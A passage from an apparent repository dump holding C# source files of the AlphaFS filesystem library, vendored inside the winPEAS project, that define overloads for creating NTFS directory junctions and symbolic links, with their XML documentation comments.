identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath, PathFormat pathFormat)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, overwrite, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)\n      {\n         CreateJunctionCore(null, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateJunctionTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// The directory date and time stamps from <paramref name=\"directoryPath\"/> (the target) are copied to the directory junction.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// The directory date and time stamps from <paramref name=\"directoryPath\"/> (the target) are copied to the directory junction.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunction(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, false, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// The directory date and time stamps from <paramref name=\"directoryPath\"/> (the target) are copied to the directory junction.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: \"MKLINK /J\"). Overwriting a junction point of the same name is allowed.</summary>\n      /// <remarks>\n      /// The directory must be empty and reside on a local volume.\n      /// The directory date and time stamps from <paramref name=\"directoryPath\"/> (the target) are copied to the directory junction.\n      /// <para>\n      ///   MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,\n      ///   and a junction can link directories located on different local volumes on the same computer.\n      ///   Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"AlreadyExistsException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"directoryPath\">The path to the directory. If the directory does not exist it will be created.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CreateJunctionTransacted(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)\n      {\n         CreateJunctionCore(transaction, junctionPath, directoryPath, overwrite, copyTargetTimestamps, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateSymbolicLink.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Creates a symbolic link  to a directory (similar to CMD command: \"MKLINK /D\").</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkDirectoryName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetDirectoryName\">The symbolic link to be created.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLink(string symlinkDirectoryName, string targetDirectoryName)\n      {\n         File.CreateSymbolicLinkCore(null, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link  to a directory (similar to CMD command: \"MKLINK /D\").</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkDirectoryName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetDirectoryName\">The symbolic link to be created.</param>\n      /// <param 